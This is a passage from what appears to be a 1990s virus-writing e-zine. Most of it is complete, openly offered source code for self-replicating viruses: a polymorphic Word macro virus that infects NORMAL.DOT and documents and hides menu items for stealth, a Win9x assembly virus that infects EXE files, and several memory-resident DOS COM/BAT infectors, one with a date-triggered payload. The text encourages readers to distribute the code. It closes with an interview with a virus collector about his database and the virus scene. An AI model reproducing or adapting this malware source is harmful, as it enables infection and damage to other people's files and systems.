reading much more difficult. Main significant in macro is "A". It is pitty authors makes this not more
polymorphic. Except this virii deletes File Templates and Edit Autotext from menu to be more invisible. It uses
"stealth" technique based on overriding ToolsMacro macro.

Anything else to say? Source says everything :) so enjoy ...

Download source code of UglyKid.A here


UGLYKID.MAC

List Word Macros version 1.10


File: NASTY.DOT
Total macros: 4
==============================================================================
Macro name: Starter [STARTER] "U"
Description: Tymto sa zahajuje proces infekcie, ak uz bola vytvorena polozka autotextu
"SURIV" v globale
------------------------------------------------------------------------------
Sub MAIN
ScreenUpdating 0
ROLB = Rnd()
IERWMT$ = "A"
FPPLGS = Rnd()
SetDocumentVar IERWMT$, "SURIV"
DNISSJ = Now()
HCUG$ = WindowName$()
REM QALK
ToolsMacro .Show = 0, .Name = "LBHWB", .Edit
ViewToolbars .Toolbar = "Macro", .Hide
EditAutoText .Insert, .InsertAs = 0, .Name = "SURIV"
GWJB = Now()
DocClose 1
ODALAH = 39.486668313702
Activate HCUG$
FWJB = 90.254199088122
Call LBHWB
ORPRPJ = 42.363113938882
ToolsMacro .Name = "LBHWB", .Delete, .Show = 0
REM MGOKOR
FileSave
End Sub
==============================================================================
Macro name: FileSave [FILESAVE] "U"
Description: Nutna podmienka mnozenia z globalu do dokumentu (aby si virus myslel, ze treba
napadnut dokument)
------------------------------------------------------------------------------
Sub MAIN
FileSave
End Sub
==============================================================================
Macro name: PolozkaAutoTextuFinal [POLOZKAAUTOTEXTUFINAL] "U"
Description: Finalna distribucna verzia bez komentarov a debug infa. Nakopirovat do globalu
ako polozku autotextu "SURIV" bez Sub MAIN a End Sub
------------------------------------------------------------------------------
Sub MAIN
DisableInput
On Error Goto GoAway

CurFile$ = FileName$()
If CurFile$ = "" Then Goto GoAway

If CheckInstalled(0, "FileSave") = 0 Then


Infect(1)
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 1
Goto GoAway
End If

Dim dlg As FileSaveAs


GetCurValues dlg
If dlg.Format = 0 Then
dlg.Format = 1
FileSaveAs dlg
UGLYKID.MAC

End If

If CheckInstalled(1, "AutoOpen") = 0 Then Infect(3)


GoAway:
End Sub

Function CheckInstalled(j, macro$)


CheckInstalled = 0
macro$ = UCase$(macro$)
For i = 1 To CountMacros(j)
If UCase$(MacroName$(i, j)) = macro$ Then CheckInstalled = 1
Next i
End Function

Sub CustomizeMenu
For i = 1 To CountMenuItems("File", 0)
If UCase$(MenuItemMacro$("File", 0, i)) = "FILETEMPLATES" Then Goto Customize
Next i
Goto es
Customize:
ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "FileTemplates", .
Menu = "&File", .MenuText = "&Templates...", .Remove, .Context = 0
ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "EditAutoText", .
Menu = "&Edit", .MenuText = "AutoTe&xt...", .Remove, .Context = 0
es:
End Sub

Function GenName$
i = 4 + Rnd() * 3
a$ = ""
For j = 1 To i : a$ = a$ + Chr$(65 + Rnd() * 23) : Next j
GenName$ = a$
End Function

Sub InsertParaEnd
InsertPara
i = Rnd()
If i < 0.2 Then Insert GenName$ + "=" + Str$(100 * Rnd()) Else If i < 0.4 Then Insert
GenName$ + "=Rnd()" Else If i < 0.6 Then Insert GenName$ + " = Now()" Else If i < 0.8 Then
Insert "REM " + GenName$ Else If i > 0.81 And i < 0.813 Then Insert "REM (c) " + "Nasty
Lamer & Ugly Luser" + ", Slovakia" Else If i > 0.82 And i < 0.823 Then Insert "REM Do not
forget: SlovakDictator is mother of all macro viruses of the new generation ! "
If i < 0.95 Then InsertPara
End Sub

Sub InsertLine(cmd$, a$, b$, c$)


Insert cmd$ + " "
For i = 1 To 5
If Rnd() > 0.5 Then
d$ = a$ : a$ = b$ : b$ = d$
Else
d$ = b$ : b$ = c$ : c$ = d$
End If
Next i
Insert a$ + ", " + b$ + ", " + c$
End Sub

Function GenPolyMacro$(where, thismacro$)


xMacroName$ = GenName$
xAutoTextName$ = GenName$
xDocVar$ = GenName$
xWinName$ = GenName$ + "$"
UGLYKID.MAC

xInfType$ = Str$(where)
xOnError$ = GenName$
ToolsMacro .Edit, .Name = thismacro$, .Show = where
ViewToolbars .Toolbar = "Macro", .Hide
If where = 1 Then ParaUp
InsertParaEnd: InsertParaEnd
Insert "On Error Goto " + xOnError$ : InsertParaEnd
Insert "ScreenUpdating 0" : InsertParaEnd
Insert xDocVar$ + "$ =" + Chr$(34) + "A" + Chr$(34) : InsertParaEnd
Insert "SetDocumentVar " + xDocVar$ + "$, " + Chr$(34) + xAutoTextName$ + Chr$(34) :
InsertParaEnd
Insert xWinName$ + " = WindowName$()" : InsertParaEnd
InsertLine("ToolsMacro", ".Name=" + Chr$(34) + xMacroName$ + Chr$(34), ".Show=" + xInfType$,
".Edit") : InsertParaEnd
InsertLine("EditAutoText", ".Name=" + Chr$(34) + xAutoTextName$ + Chr$(34), ".InsertAs=0",
".Insert") : InsertParaEnd
Insert "DocClose 1" : InsertParaEnd
Insert "Activate " + xWinName$ : InsertParaEnd
Insert "Call " + xMacroName$ : InsertParaEnd
InsertLine("ToolsMacro", ".Name=" + Chr$(34) + xMacroName$ + Chr$(34), ".Show=" + xInfType$,
".Delete") : InsertParaEnd
Insert xOnError$ + ":" : InsertParaEnd
DocClose 1
GenPolyMacro$ = xAutoTextName$
End Function

Sub Infect(where)
xOldAutoTextName$ = GetDocumentVar$("A")
normaldot$ = UCase$(DefaultDir$(2) + "\NORMAL.DOT")
inffile$ = FileName$()
If where = 1 Then
xAutoTextName$ = GenPolyMacro$(where, "FileSave")
Organizer .Copy, .Source = inffile$, .Destination = normaldot$, .Name = xOldAutoTextName$
, .Tab = 1
Organizer .Rename, .Source = normaldot$, .Name = xOldAutoTextName$, .NewName =
xAutoTextName$, .Tab = 1
MacroCopy normaldot$ + ":FileSave", normaldot$ + ":FileSave", 1
MacroCopy normaldot$ + ":FileSave", normaldot$ + ":ToolsMacro", 1
CustomizeMenu
Else
xAutoTextName$ = GenPolyMacro$(where, "AutoOpen")
Organizer .Copy, .Source = normaldot$, .Destination = inffile$, .Name = xOldAutoTextName$
, .Tab = 1
Organizer .Rename, .Source = inffile$, .Name = xOldAutoTextName$, .NewName =
xAutoTextName$, .Tab = 1
MacroCopy inffile$ + ":AutoOpen", inffile$ + ":AutoOpen", 1
End If

ToolsOptionsUserInfo .Name = "Nasty", .Initials = "Ugly"

End Sub
==============================================================================
Macro name: PolozkaAutoTextuDebugInfo [POLOZKAAUTOTEXTUDEBUGINFO] "U"
Description: Finalna plne komentovana verzia s debug infom. Treba nakopirovat ako polozku
autotextu "SURIV" do globalu bez Sub MAIN a End Sub
------------------------------------------------------------------------------
'-------------------------------------------------------
' WordMacro.SlovakDictator - light version
' (c) 20-apr-97, Nasty Lamer & Ugly Luser, Slovakia
' Our motto: Quality, not quantity !
' Distribute like crazy, please :))
' Original source code commented by authors
UGLYKID.MAC

'-------------------------------------------------------
Sub MAIN
DisableInput
On Error Goto GoAway

CurFile$ = FileName$()
If CurFile$ = "" Then Goto GoAway

If CheckInstalled(0, "FileSave") = 0 Then


Infect(1)
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 1
Goto GoAway
End If

Dim dlg As FileSaveAs


GetCurValues dlg
If dlg.Format = 0 Then
dlg.Format = 1
FileSaveAs dlg
End If

If CheckInstalled(1, "AutoOpen") = 0 Then Infect(3)


GoAway:
End Sub

'---///---///---
' check if already infected
Function CheckInstalled(j, macro$)
CheckInstalled = 0
macro$ = UCase$(macro$)
For i = 1 To CountMacros(j)
If UCase$(MacroName$(i, j)) = macro$ Then CheckInstalled = 1
Next i
End Function
'---///---///---

'---///---///---
' Stealth menu
Sub CustomizeMenu
For i = 1 To CountMenuItems("File", 0)
If UCase$(MenuItemMacro$("File", 0, i)) = "FILETEMPLATES" Then Goto Customize
Next i
Goto es
Customize:
ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "FileTemplates", .
Menu = "&File", .MenuText = "&Templates...", .Remove, .Context = 0
ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "EditAutoText", .
Menu = "&Edit", .MenuText = "AutoTe&xt...", .Remove, .Context = 0
es:
End Sub
'---///---///---

'---///---///---
' generate random name
Function GenName$
i = 4 + Rnd() * 3
a$ = ""
For j = 1 To i : a$ = a$ + Chr$(65 + Rnd() * 23) : Next j
GenName$ = a$
End Function
'---///---///---
UGLYKID.MAC

'---///---///---
' patch already mutated macro a little bit
Sub InsertParaEnd
InsertPara
i = Rnd()
If i < 0.2 Then Insert GenName$ + "=" + Str$(100 * Rnd()) Else If i < 0.4 Then Insert
GenName$ + "=Rnd()" Else If i < 0.6 Then Insert GenName$ + " = Now()" Else If i < 0.8 Then
Insert "REM " + GenName$ Else If i > 0.81 And i < 0.813 Then Insert "REM (c) " + "Nasty
Lamer & Ugly Luser" + ", Slovakia" Else If i > 0.82 And i < 0.823 Then Insert "REM Do not
forget: SlovakDictator is mother of all macro viruses of the new generation ! "
If i < 0.95 Then InsertPara
End Sub

'---///---///---
' mutated commands, cool !!!
Sub InsertLine(cmd$, a$, b$, c$)
Insert cmd$ + " "
For i = 1 To 5
If Rnd() > 0.5 Then
d$ = a$ : a$ = b$ : b$ = d$
Else
d$ = b$ : b$ = c$ : c$ = d$
End If
Next i
Insert a$ + ", " + b$ + ", " + c$
End Sub
'---///---///---

'---///---///---
' generate tiny polymorphic macro
' if where=1 to global
' if where=3 to fileZ
Function GenPolyMacro$(where, thismacro$)
xMacroName$ = GenName$
xAutoTextName$ = GenName$
xDocVar$ = GenName$
xWinName$ = GenName$ + "$"
xInfType$ = Str$(where)
xOnError$ = GenName$
ToolsMacro .Edit, .Name = thismacro$, .Show = where
ViewToolbars .Toolbar = "Macro", .Hide
If where = 1 Then ParaUp
InsertParaEnd: InsertParaEnd
Insert "On Error Goto " + xOnError$ : InsertParaEnd
Insert "ScreenUpdating 0" : InsertParaEnd
Insert xDocVar$ + "$ =" + Chr$(34) + "A" + Chr$(34) : InsertParaEnd
Insert "SetDocumentVar " + xDocVar$ + "$, " + Chr$(34) + xAutoTextName$ + Chr$(34) :
InsertParaEnd
Insert xWinName$ + " = WindowName$()" : InsertParaEnd
InsertLine("ToolsMacro", ".Name=" + Chr$(34) + xMacroName$ + Chr$(34), ".Show=" + xInfType$,
".Edit") : InsertParaEnd
InsertLine("EditAutoText", ".Name=" + Chr$(34) + xAutoTextName$ + Chr$(34), ".InsertAs=0",
".Insert") : InsertParaEnd
Insert "DocClose 1" : InsertParaEnd
Insert "Activate " + xWinName$ : InsertParaEnd
Insert "Call " + xMacroName$ : InsertParaEnd
InsertLine("ToolsMacro", ".Name=" + Chr$(34) + xMacroName$ + Chr$(34), ".Show=" + xInfType$,
".Delete") : InsertParaEnd
Insert xOnError$ + ":" : InsertParaEnd
DocClose 1
GenPolyMacro$ = xAutoTextName$
End Function
UGLYKID.MAC

'---///---///---

'---///---///---
' replicate + mutate name of AutoText entry
Sub Infect(where)
MsgBox "Infecting"
xOldAutoTextName$ = GetDocumentVar$("A")
MsgBox "Old AutoText=" + xOldAutoTextName$
normaldot$ = UCase$(DefaultDir$(2) + "\NORMAL.DOT")
MsgBox "NormalDot=" + normaldot$
inffile$ = FileName$()
MsgBox "Inffile=" + inffile$
MsgBox "to template"
If where = 1 Then
xAutoTextName$ = GenPolyMacro$(where, "FileSave")
MsgBox "Copying"
Organizer .Copy, .Source = inffile$, .Destination = normaldot$, .Name = xOldAutoTextName$
, .Tab = 1
MsgBox "Renaming"
Organizer .Rename, .Source = normaldot$, .Name = xOldAutoTextName$, .NewName =
xAutoTextName$, .Tab = 1
MacroCopy normaldot$ + ":FileSave", normaldot$ + ":FileSave", 1
MacroCopy normaldot$ + ":FileSave", normaldot$ + ":ToolsMacro", 1
CustomizeMenu
Else
MsgBox "to document"
xAutoTextName$ = GenPolyMacro$(where, "AutoOpen")
MsgBox "Copying"
Organizer .Copy, .Source = normaldot$, .Destination = inffile$, .Name = xOldAutoTextName$
, .Tab = 1
MsgBox "Renaming"
Organizer .Rename, .Source = inffile$, .Name = xOldAutoTextName$, .NewName =
xAutoTextName$, .Tab = 1
MacroCopy inffile$ + ":AutoOpen", inffile$ + ":AutoOpen", 1
End If

ToolsOptionsUserInfo .Name = "Nasty", .Initials = "Ugly"

End Sub
==============================================================================
This one piece from Vecna is w9x direct action ring3 virus, need to say very tinny one. Therefore is has its
limitation - uses hardcoded kernel32.dll adress, uses pretty visible signature w512 in the PE header, infects
only EXE files (hard to say if this is a limitation nowadays). This one piece should be easy to understan for
everyone - of you take a closer look on the source, it reasembles old DOS only times - it used vxdcalls to get
onto old classic int 21h. By the way, another proof, win9x is only graphical shell extension for DOS :P

Enjoy the code !

Download source code of W512 here


W512.ASM

;[W512] by Vecna
;
;A tiny w9x direct action ring3 virus!

.386p
.model flat
locals
.data
dd ?

.code

ofs equ offset


by equ byte ptr
wo equ word ptr
dwo equ dword ptr
k32 equ 0bff70000h

start:
cmp by [esp+3], 0bfh
push ofs stub
old_eip equ dwo $-4
je @@1
ret
@@1:
call get_delta
call vinit
mov ah, 1ah
lea edx, [ebp+ofs dta-ofs delta]
call int21
mov ah, 4eh
call @@2
db '*.EXE', 0
@@2:
pop edx
mov ecx, 27
@@3:
call int21
jc @@4
lea edx, [ebp+ofs dta+1eh-ofs delta]
call infect
mov ah, 4fh
jmp @@3
@@4:
ret

get_delta:
call delta
delta:
pop ebp
ret

int21:
call get_delta
push ecx
push eax
push 002a0010h
call [ebp+ofs vxdcall-ofs delta]
ret

vinit:
call @@set_seh
W512.ASM

mov esp, [esp+8]


jmp @@fault
@@set_seh:
sub ecx, ecx
push dwo fs:[ecx]
mov fs:[ecx], esp
cmp dwo ds:[k32+80h], 'EP'
jnz @@fault
mov esi, ds:[k32+80h+78h]
add esi, k32+1ch
mov eax, [esi]
mov ebx, [eax+k32]
add ebx, k32
mov [ebp+ofs vxdcall-ofs delta], ebx
clc
db 0b0h
@@fault:
stc
pop dwo fs:[0]
pop ecx
ret

infect:
call @@set_seh
mov esp, [esp+8]
jmp @@fault
@@set_seh:
sub ecx, ecx
push dwo fs:[ecx]
mov fs:[ecx], esp
mov ax, 4300h
call int21
jc @@fault
push edx
push ecx
mov ax, 4301h
sub ecx, ecx
call int21
jc @@1
mov ax, 3d02h
call int21
mov ebx, eax
jc @@1
mov ah, 3fh
mov ecx, 1024
lea edx, [ebp+header-ofs delta]
mov esi, edx
call int21
jc @@2
xor eax, ecx
jnz @@2
cmp wo [esi], 'ZM'
jne @@2
mov eax, dwo [esi+3ch]
add esi, eax
cmp eax, 900
jnb @@2
cmp dwo [esi], 'EP'
jne @@2
mov eax, '215w'
cmp dwo [esi+88], eax
mov dwo [esi+88], eax
W512.ASM

je @@2
cmp wo [esi+4], 014ch
jne @@2
movzx eax, wo [esi+22]
not al
test eax, 2002h
jnz @@2
movzx eax, wo [esi+6]
dec eax
imul eax, eax, 40
lea edi, [esi+0e0h+24]
add edi, eax
mov edx, [edi+16]
push edx
add edx, [edi+12]
xchg edx, [esi+40]
mov [ebp+ofs old_eip-ofs delta], edx
pop edx
add edx, [edi+20]
mov dwo [edi+36], 0c0000040h
add dwo [edi+8], ofs vvend-ofs start
add dwo [edi+16], ofs vend-ofs start
mov eax, [esi+52]
add [ebp+ofs old_eip-ofs delta], eax
mov ax, 4200h
sub ecx, ecx
call int21
mov ah, 40h
lea edx, [ebp+ofs start-ofs delta]
mov ecx, ofs vend-ofs start
call int21
mov ax, 4200h
sub ecx, ecx
cdq
call int21
mov ah, 40h
lea edx, [ebp+ofs header-ofs delta]
mov ecx, 1024
call int21
@@2:
mov ah, 3eh
call int21
@@1:
pop ecx
pop edx
mov ax, 4301h
call int21
@@fault:
pop dwo fs:[0]
pop ecx
ret

vxdcall dd 0

vend equ this byte

header db 1024 dup (0)

dta db 44 dup (0)

vvend equ this byte


W512.ASM

stub:
push 0
call @@1
db '(c) vecna', 0
@@1:
call @@2
db 'first generation', 0
@@2:
push 0
extrn MessageBoxA:proc
call MessageBoxA
push 0
extrn ExitProcess:proc
call ExitProcess

end start
SUB
This is actualy set of very short dos viruses, like follows:

Supra version 1.0


This is a spawning resident COM infector. No payload. Length 95 byte
Supra version 1.0b
This is a spawning resident BAT infector. No payload. Length 147 byte.
Supra version 1.0p
Not than does not differ from versions 1.0, only in this version there was is added small graphic effect.
Add payload. Length 136 byte.
Supra version 1.1
This is a memory resident BAT/COM infector. No payload. Length 172 byte.

ULTRAS, 8 september 1999

Download source code of Supras here


SUPRA.ASM

; Supra virus 1.0


; ***************
; This is a spawning resident COM infector.
.model tiny
.code
.386
org 100h
start:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
mov dl,offset end_m+1-100h ;tsr
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
jne int21_e ; not equal, jmp_exit
infect: ; ds:dx = filename
pusha ; save regs
push es ds
mov di,offset new_fn ;copy filename
push di
mov si,dx
push cs
pop es
load_fn: ; load filename
lodsb
stosb
or al,al
jnz load_fn
mov dword ptr es:[di],004d4f43h ; add extension COM
mov ah,56h ; rename
pop di
int 21h
jc tyta
create: ; create new fie
mov ah,3ch
mov cl,0010b ;create file
int 21h
push cs
pop ds
xchg bx,ax ;filehandle
mov ah,40h
mov cx,offset end_v-100h ;write virii
mov dx,100h ;code begin
int 21h
mov ah,3eh ;close file
int 21h
tyta:
pop ds es
mov dword ptr ds:[si],004d4f43h
popa
int21_e:
db 0eah ;jump to int 21.
end_v:
int21_addr dd ? ; address of interrupt 21h
new_fn db 30 dup (?)
end_m:
end start
SUPRA_B.ASM

; Supra virus
; ***********
; This is a spawning resident COM infector.

.model tiny
.code
.386
org 100h
start:
db "::"
jmp v_start
db 13,10
db "@copy %0 $-$.com>nul",13,10
db "@$-$.com",13,10
db "@del $-$.com",13,10
db "::"
v_start:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
mov dl,offset end_m+1-100h ;tsr
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
jne int21_e ; not equal, jmp_exit
infect: ; ds:dx = filename
pusha ; save regs
push es ds
mov di,offset new_fn ;copy filename
push di
mov si,dx
push cs
pop es
load_fn: ; load filename
lodsb
stosb
or al,al
jnz load_fn
mov dword ptr es:[di],00544142h ; add extension BAT
mov ah,56h ; rename
pop di
int 21h
jc tyta
create: ; create new fie
mov ah,3ch
mov cl,0010b ;create file
int 21h
push cs
pop ds
xchg bx,ax ;filehandle
mov ah,40h
mov cx,offset end_v-100h ;write virii
mov dx,100h ;code begin
int 21h
mov ah,3eh ;close file
int 21h
tyta:
pop ds es
SUPRA_B.ASM

mov dword ptr ds:[si],00544142h


popa
int21_e:
db 0eah ;jump to int 21.
end_v:
int21_addr dd ? ; address of interrupt 21h
new_fn db 30 dup (?)
end_m:
end start
SUPRAP.ASM

; Supra virus 1.0 + payload


; *************************
; This is a spawning resident COM infector.

.model tiny
.code
.386
org 100h
start:
mov ah,2ah ;get system date function
int 21h
cmp al,5h ;if it's friday
jne startvir ;if not so jump to startvir
payload:
mov ax,13h ; set mode 13h
int 10h
mov bx,0A000h
mov ds,bx
loop_:
mov [bx],cl
add bx,bx
jnc $+5
xor bl,45
loop loop_
mov ah,1 ; check for keystroke
int 16h
jz loop_ ; l00p
mov ax,3
int 10h
ret
startvir:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
mov dl,offset end_m+1-100h ;tsr
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
jne int21_e ; not equal, jmp_exit
infect: ; ds:dx = filename
pusha ; save regs
push es ds
mov di,offset new_fn ;copy filename
push di
mov si,dx
push cs
pop es
load_fn: ; load filename
lodsb
stosb
or al,al
jnz load_fn
mov dword ptr es:[di],004d4f43h ; add extension COM
mov ah,56h ; rename
pop di
int 21h
jc tyta
create: ; create new fie
SUPRAP.ASM

mov ah,3ch
mov cl,0010b ;create file
int 21h
push cs
pop ds
xchg bx,ax ;filehandle
mov ah,40h
mov cx,offset end_v-100h ;write virii
mov dx,100h ;code begin
int 21h
mov ah,3eh ;close file
int 21h
tyta:
pop ds es
mov dword ptr ds:[si],004d4f43h
popa
int21_e:
db 0eah ;jump to int 21.
end_v:
int21_addr dd ? ; address of interrupt 21h
new_fn db 30 dup (?)
end_m:
end start
SUPRA2.ASM

; %%%%%%%%%%%%%
; % Supra 1.1 %
; %%%%%%%%%%%%%
;
; Memory resident bat/com infector.

.model tiny
.code
org 100h
start:
db "::"
jmp vm_start ; jmp virus start
db 13,10
db "@copy %0 $-$.com>nul",13,10
db "@$-$.com",13,10
db "@del $-$.com",13,10
db "::"
vm_start:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
not dh
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
je execute
cmp al,21 ; install check
jne int21_e
cmp dx,offset int21_vir
jne int21_e
Restore_Control: ;restore host file
mov di,100
pop si
mov si,offset vend
push di
mov ch,0fdh ; copy host file in memory
repnz movsb
xor ax,ax
iret
execute: ; infect proc
push ax
push bx
push cx
push dx
push ds
mov ax,3d02h ; open file
int 21h
xchg ax,bx
push cs
pop ds
mov ah,3fh ; read file
mov dx,offset vend
mov ch,0feh
int 21h
mov si,dx
cmp byte ptr [si],':' ; infect?
je done ; file already infected
push ax
SUPRA2.ASM

mov ax,4200h
xor cx,cx ;Go to beginning of prog.
xor dx,dx
int 21h
pop cx
mov ah,40h ; write virii
add cx,vend-start
inc dh
int 21h
done:
mov ah,3eh ;close file
int 21h
pop ds
pop dx
pop cx
pop bx
pop ax
int21_e:
db 0eah ;jump to int 21
int21_addr dd ? ; address of interrupt 21h
vend:
virname db 'Supra'
quit: ret
end start
Cicatrix is well known on virus scene as maintainer of VDAT, a kind of virus knowledge database about
viruses, groups, zines, etc. Now you can read what is behind...

You are one of the best known collectors on the net. Try to introduce yourselves...

Well like most of us I think I'm just your regular run-of-the-millaverage guy who happens to 'dig'
computer viruses.

Everyone in the H/P/A/V scene has some nick. Where did you get yours, it sounds so stange for most
of the people ...

In my normal day-to-day job I happen to sometimes use a handle as well. Cicatrix is the Latin
translation/equivalent.

On your site is always anouncement like you are "in process of moving your a** back home". Can you
specify where in Europe is your home?

Some people know exactly were I belong but lets say I'm from Western Europe.

When did you start with computer stuff ?

See below.

Tell us about your very beginning, like what was yer 1st comp etc...

My first experience must have been around 1983 when I saw some 10-12 year old kid do magic with a
computer keyboard. I decided that what a 10-12 year old kid could do I could better so I bought my first
computer (Acorn Electron with a cassette player for storage) and started fooling around programming
simple stuff in BASIC.

Many of the readers of *-Zine would like to know, when and why did you start to be interesting in
computer viruses.

It must have been the late '80's. I'd often heard about this magical thing called a computer virus but I
had never encountered one. Having moved to an IBM compatible computer (8088) I was using quite a
lot of pirated software and I used McAfee as a virus scanner. Then one day when I decided to scan a
diskette which I did not expect to have a virus (it came from a reputable source) I found the Cascade
virus.

Did you ever write some virus? If so what was the virus like ?

Nope, I've looked at a lot of them but I've never created one myself.
Do you have any programming skills? If so, what's you preffered programming language and why?

I'm not really a programmer. I know Basic, VB and I have a limited knowledge of assembler.

One of your main activities seems to be the maintenance of your webpage. Its design is of good
standard. Do you design the page on your own or do you get some help from other person?

I do 99% myself (if I can find the time). I think my site is pretty basic compared to what is possible with
HTML nowadays. But since I have a full time job and a lot of other hobbies and don't really have the
time to make the site too fancy. Also it is easier to update a site that is not too complicated.

Your webpage is one of best watched on the net. How many hits you have a day?

In the beginning of my site I used to have a counter and I was amazed at how many people were
visiting. One day I reorganized my site and I forgot to put the counter back up. Now I don't really care
anymore, I know by my e-mail that a lot people like the site and visit a lot.

Your page at www.xs4all.nl/~cicatrix is best viewed with Nescape Navigator and "weird things may
happened to Internet Exploder". Maybe we are of the same blood group and we both dislike Micro$oft.
If so, why do you dislike M$ and its CEO big guru Gate$$$?

I have no reason to dislike them (yet). At least I like Windows 95 better that I liked Windows 3.1 (which
was a horrible piece of software).I happened to start with Netscape and I disliked MSIE because
initially it couldn't compete with Netscape's features. Recently they have grown closer and closer but
still like Netscape more and I noticed that MSIE doesn't like pages build with Netscape.

There are also other virus related site on the net. WCIVR has shitloads of viruses online, Virus
Emporium the same. Why do you think (I hope you think) is your site better than that of the others?

This question assumes I think my site is better that the other sites. Of the two I only know WCIVR
which hasn't been updated in ages. It has loads of viruses and I still sometimes visit. I think my site has
a nice cross section of stuff available in the VX scene and I think VDAT is getting to be a popular
database.

I would like to ask you somethink about VSUM and that Patty which is responsible for this piece of
(des)information. But surely AVPVE is better source of virus information.

In the beginning I used to D/L every release of VSUM but the more I got to know about viruses the
more I was amazed about the program's (well known) inaccuracies. The last couple of releases were
not really worth getting, especially with only a small part of all available viruses being covered.
I liked the generic idea of a hypertext database on viruses though and it was sort of the thing that got
me started on VDAT.
I really like AVPVE. The initial DOS-version was pretty good, especially with the visual effect database
that was included. The online version of AVPVE is getting better and better and I'm really looking
forward to the stand alone (HLP and HTML) versions.

As for VSUM qualities, let's take old good One_Half virus. Every virus kid knows what is does, but Patty
Hoffman obviously not. What would you say on VSUM's classic sentence "... it is unknown what this
virus does besides replicate... " if you'd have the opportunity to meet Patty in person?

I'd give her the URL to AVPVE and teach her how to Cut & Paste.
You are that one dude who created VDAT. What was the reason for creating VDAT?

When I started out collecting viruses I downloaded everything I could get that had anything to do with
computer viruses. I stored all that material on diskettes but since I wasn't as organized then as I am
now I could't find anything when I wanted to read it again so I ended up downloading the stuff again.
After a while I was sick and tired of this and I was at that time browsing through VSUM to find
something. The whole hypertext idea sort of appealed to me and that is how it all started. It took a while
to find a suitable hypertext compiler but after a while that was taken care of. The first couple of releases
were, as with most first tries, pretty lame and incomplete. But it got better and better. The DOS version
was pretty limited in graphics and looks and it was a bitch to create hyperlinks so after a while I started
looking for a Windows version. Initially I couldn't find a suitable compiler but with the rise of HTML I
found InfoCourier (http://www.smartcode.com). It allows the use of regular HTML code, which should
be good if I ever want to put the whole thing online, and editing the stuff was a lot easier. Keeping both
versions up to date was impossible due to time constraints so in the beginning of this year I chose to
discontinue the DOS version much to the sorrow of some Windows haters.

As the amount of available information in VDAT reached critical level, DOS version has been
discontinued :(((((( Easy to understand. Last two releases are Windoze only. What tools do you use to
maintain VDAT (language, enviroment etc...)?

See above, recently I've been looking at HTML2EXE which is similar to InfoCourier. It knows frames
which InfoCourier doesn't although thelatter has better font control and I'm still looking for a crack
forHTML2EXE.

You get the virus samples mostly direct from their autors, in order to include them in your monthly
incremental updates. This gives me the oportunity to ask you directly : "Do you have any relationship to
any AV company"?

No, none whatsoever. Some have e-mailed me but that is about it. I'm pretty sure somehow my CCTX
updates get to them though.

How many viruses do you have in your collection?

Like I say on my site, my collection is in need of a major overhaul butit is hard to find the time. I don't
have a recent scan bu I'm sure I have more than 10000-11000 scanned viruses and loads of unscans.

What do you think about perspectives of future virus underground?

Like most things it has ups and downs. There have been periods in the last couple of years I really
thought that all virus writers had quit. But then a couple a weeks later a new group would start out and
new 'solo' writers would join the scene. I think that as long as there arecomputers there will be viruses
and virus writers.

What was the greatest break through in the history of virus writing?

'Greatest' is a matter of opinion but I think that MtE and TPE were the start of a major chapter in the
history of computer viruses. Another major event (though not especially sophisticated) would be the
macrovirus. The ease of programming such a virus and the lack of knowledge about them with the
'regular' computer user has made it the biggest virus event in the last couple of years.

The same as above, but as for AV


I still think that Frans Veldman's heuristic scanning (TBAV) would be a break through fighting viruses.
Although certainly not perfect it is the goal of almost all virus writers to fool TBAV's heuristic feature.

The numbers of new macro viruses hits the sky. What is the reason for this new trend in virus writing in
your opinion?

Like I say a couple of questions ago, it is easy to program and pretty transparent. Also computer users
still don't expect .DOC files to be infected.

The need for solution of macro virus problem results to creation of the handfull of macro specific
scanners. Which 'll be your choice, if you should pick up one or two of the bests?

F-Macrow sees the most. F/WIN uses heuristics. HMVS uses heuristics and is able to disassemble
most macro viruses (95 & 97).

Express your opinion on today's top AV programs (F-prot, TBAV, Solomon, AVP, Web etc.)

Personally I use F-Prot (DOS), TBAV (W95), AVP (W95) and sometimes Norton AV. I hear Dr.
Solomon is pretty good.

Moral issues of virus writing and the AV bussines

No major moral issues. I don't like destructive payloads and I think there is a difference between
making viruses available and actively spreading viruses for the sake of infection.

Something personal now. Favourite drink, movie, band ...

Coca-Cola
All Alien movies, Bladerunner and The Fifth Element
Rush

Sites you recommend to visit ...

http://www.avp.ch/avpve
http://www.pipo.com/darkweb/virus.html
http://www.wcivr.com
http://www.codebreakers.org
http://www.virusexchange.org/29a

Sites you recoment definitively to avoid ...

I wouldn't know. I don't bookmark site I want to avoid ;-)

One of the my last question. What's yer opinion on our zine :)

Like I say in VDAT: "The graphic user interface and layout are very well done and user friendly. This
zine sets a standard on how things can be done with a some dedicated effort and know how."
I really liked the GUI and all the VX stuff that was offered. It looks very professional. One gripe would
be that I could'n export everything to a .TXT file.

My classic last question, plans for the future, and so on ...


For now VDAT and the monthly CCTX updates will eat a lot of time. One thing I'm doing right now is
cross referencing all VX e-zines (hell of a lot of work). Then my collection needs a major update. And
for sure some new stuff is over the horizon.
^ ^ _
/ \ ^ _______ __ / \ / /
